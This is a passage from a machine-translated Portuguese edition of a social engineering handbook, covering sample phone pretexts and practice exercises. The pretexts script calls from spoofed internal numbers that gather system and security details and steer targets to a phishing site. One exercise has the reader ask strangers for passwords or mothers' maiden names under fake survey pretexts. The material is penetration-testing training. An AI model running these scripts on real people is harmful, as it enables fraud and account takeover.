próprias. Se você estiver interessado, fique à vontade para entrar em contato.

Funcionário confuso
Mantém o pretexto de funcionário desajeitado, desta vez confuso com o serviço de
alimentação da empresa e ligando para o RH para pedir ajuda. Ligue usando um
número falsificado interno (provavelmente um número de aparelho de fax para evitar
confusão se o tar get tentar ligar de volta).
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Agora pergunte sobre o serviço de alimentação com perguntas como estas:

• Como aparecem nos extratos do cartão de crédito? Quem fatura?


• Você tem sido tão útil; Por quanto tempo você trabalhou aqui?
• Quem é o seu gerente? Quero te dar um elogio.
• A URL para pedido carrega outro site, <seu site de phishing aqui>; pode
você deu uma olhada?

Então diga que você está no final do intervalo e precisa cronometrar com urgência
de volta ao trabalho.

Inventário de TI

Depois de falsificar um número interno de TI, faça um inventário dos ativos da empresa.
Explique que a empresa terá uma auditoria futura e você precisa garantir que as
informações estejam corretas. Comece perguntando quando a pessoa começou na
empresa e como ela gostou. Pergunte sobre a programação deles. Então pergunte o
seguinte:

• Há algum logotipo ou número no verso do crachá?


• Eles usam laptop ou desktop?
• Que tipo de telefone está na mesa?
• Qual é a marca e o modelo do seu computador?
• Qual sistema operacional eles usam?
• Qual service pack e versão são usados?
• O que eles usam como cliente de email?
• Quais navegadores eles usam?
• Eles conseguem acessar redes sem fio?
• Quais redes?

• Qual antivírus eles têm instalado?


• Algum site está bloqueado?

Anote todos os sites bloqueados e diga a eles que você está


implantar uma política de segurança. Se eles não souberem de algum site
bloqueado, peça-lhes que acessem o Facebook e o eBay. Você dirá ao usuário para
acessar <seu site de phishing aqui>. Para encerrar a ligação, receba um “e-mail
urgente” e desconecte.
Você também pode fazer essas mesmas perguntas usando alguns outros pretextos.
Por exemplo, tente se passar por um colega confuso, ligando para um número interno e
perguntando ao alvo se ele pode acessar alguns sites e recursos; diga a eles que você
não pode acessar um determinado site e pergunte se eles podem. Alternativamente, ligue
para a empresa como se você fosse uma pessoa interessada em trabalhar nela.
Aproveite suas “aulas de faculdade comunitária” para perguntar sobre TI.

200 Apêndice D
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Pesquisa de Transparência

Ligue para um funcionário da empresa de um número interno para realizar uma


pesquisa de transparência com funcionários com 10 perguntas. Digamos que o foco da
pesquisa seja verificar o quão transparente a empresa é e o quanto os funcionários
sabem sobre o negócio. Pergunte o seguinte:

•Eles usam VPN?


•Qual é o seu horário de trabalho?

•Quando é o dia do pagamento?

•Há quanto tempo trabalham na empresa-alvo?


•Qual sistema operacional, navegador e cliente de e-mail são usados?
•Eles têm refeitório?
•Quem faz o controle de pragas?
•Quem são os zeladores?
•Que tipo de antivírus eles usam?

Por fim, tente fazer com que eles naveguem até seu site de phishing. Então
agradeça e desligue abruptamente.

Amostra de pretexto 201


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google
Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

EXERCÍCIOS PARA MELHORAR VOCÊ


ENGENHARIA SOCIAL

Esses exercícios são coisas que normalmente


implemento quando dou aulas presenciais. Eles
procuram ajudar os alunos a superar o medo de
quebrar o gelo proverbial com alvos e condicioná-
los a pedir informações potencialmente sensíveis em situações
imediatas ou em posições desconfortáveis. Sinta-se à
vontade para fazer isso conforme tiver tempo e observe
como sua aptidão para engenharia social e seus níveis de conforto aumen

Ajude um estranho aleatório e depois solicite “sinalizações”


Quando você estiver fora de casa, procure estranhos tentando tirar selfies. Ofereça-
se para ajudá-los. Se eles aceitarem, peça-lhes que o ajudem em alguma coisa. Gosto
de usar “pesquisas de antropologia” ou “pesquisas de palavras para aulas de
psicologia” e fazer algumas perguntas invasivas, como o nome de solteira da mãe ou senhas.
Percebi que tenho mais sucesso ao pedir uma donzela materna
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

nome ao fraseá-lo como "qual era o nome da sua mãe antes de ela se casar?" Isso
tende a contornar a regra do firewall mental sobre o nome de solteira da mãe.

improvisação

A comédia improvisada é ótima para melhorar sua capacidade de raciocínio.


Ao fazer avaliações físicas e vishing no local, você deve pensar rapidamente. Nada nunca
sai como planejado. Ter experiência em improvisação ajuda você a se acostumar a se
adaptar a situações embaraçosas, que podem ocorrer sem aviso prévio nesses
compromissos. Lembre-se da regra da improvisação: nunca diga não.

Comédia em Pé
Assim como a improvisação, a comédia stand-up ajuda na engenharia social. A
diferença entre as duas disciplinas é que uma é ensaiada e a outra não. O benefício da
comédia stand-up que falta na improvisação é que você tem tempo para apresentar toda
a sua história de fundo com antecedência. Mas a trocação regular falha, e a improvisação
é bem-sucedida, quando se inventam coisas na hora. Ambos são importantes, mas
proporcionam experiências diferentes.

Oratória/Toastmasters
Falar sempre ajudará. Ficar confortável diante de um grupo de tamanhos variados é uma
vantagem para você. Assim como fazer improvisação, as coisas vão dar errado. Você terá
que resolver os problemas para ter sucesso. Você também se acostumará a se
comunicar com clareza e a ter mais maneiras de transmitir um ponto de vista.

Por exemplo, a primeira vez que dei minha palestra sobre “Forense Social” foi no
BSides Orlando em 2018. Após três slides da apresentação, meu computador encontrou
uma Tela Azul da Morte. Eu entrei em panico. Depois de levar cerca de 30 segundos para
recuperar a compostura, expliquei o problema ao público, e um amigo subiu ao palco e
cuidou do meu computador enquanto ele voltava a funcionar. Fui honesto sobre ser a
primeira vez que apresentava a palestra e expliquei que iria improvisar de memória. O
sistema voltou a funcionar e pude passar pelos slides para cobrir todo o material no tempo
previsto.
Tive que interromper minha demonstração, mas me ofereci para fazê-la no corredor e
cerca de 15 pessoas vieram assistir. Surpreendentemente, essa não é minha pior
experiência como orador, apenas uma que me ajudou a crescer.

Faça operações OSINT em familiares e amigos


Obtenha permissão de familiares e amigos para coletar OSINT deles.
Dependendo de quão próximo você está deles, você poderá apenas refinar seus
métodos de pesquisa e avaliar a fidelidade dos dados. Tenho tendência a solicitar
amigos online que nunca conheci na vida real para tornarem isto um pouco mais agradável.

204 Apêndice E
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

desafiante. Para que valha a pena para aqueles que nos permitem coletar OSINT
sobre eles, forneça um relatório do que você encontrar. Não precisa ser formal
ou estar no modelo do Apêndice B, mas deve ser algo que comprove o que você
encontrou, onde o encontrou, por que é um problema e como removê-lo (se possível).

Competir em Engenharia Social e CTFs OSINT

A recomendação final que tenho é competir. Várias pessoas e organizações da


comunidade de segurança da informação orquestram eventos de captura da bandeira
(CTF).
Chris Hadnagy, que dirige o SEVillage na Defcon e como vigarista independente
referência, possui um CTF de engenharia social em ambas as localidades. Recon
Village na Defcon e Defcon China têm um elemento CTF. Chris Silvers dirige OSINT
CTFs em BSides Atlanta, GrrCON, NolaCon e outras conferências. Quando faço
treinamento presencial, tenho um elemento OSINT CTF se o curso durar o dia todo
ou mais de um dia.
Outra plataforma é o Trace Labs Search Party CTF. Trace Labs executa vários
CTFs remotos globais e faz parceria com uma variedade de conferências para
realizá-los lá. Eles mantêm um canal no Slack e têm operações contínuas para
membros do Slack nas quais as autoridades declararam que estão buscando
ajuda. Existem vários servidores Discord para OSINT e engenharia social, incluindo o
meu (https://discord.gg/p78TTGa).

Exercícios para melhorar sua engenharia social 205


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Você também pode gostar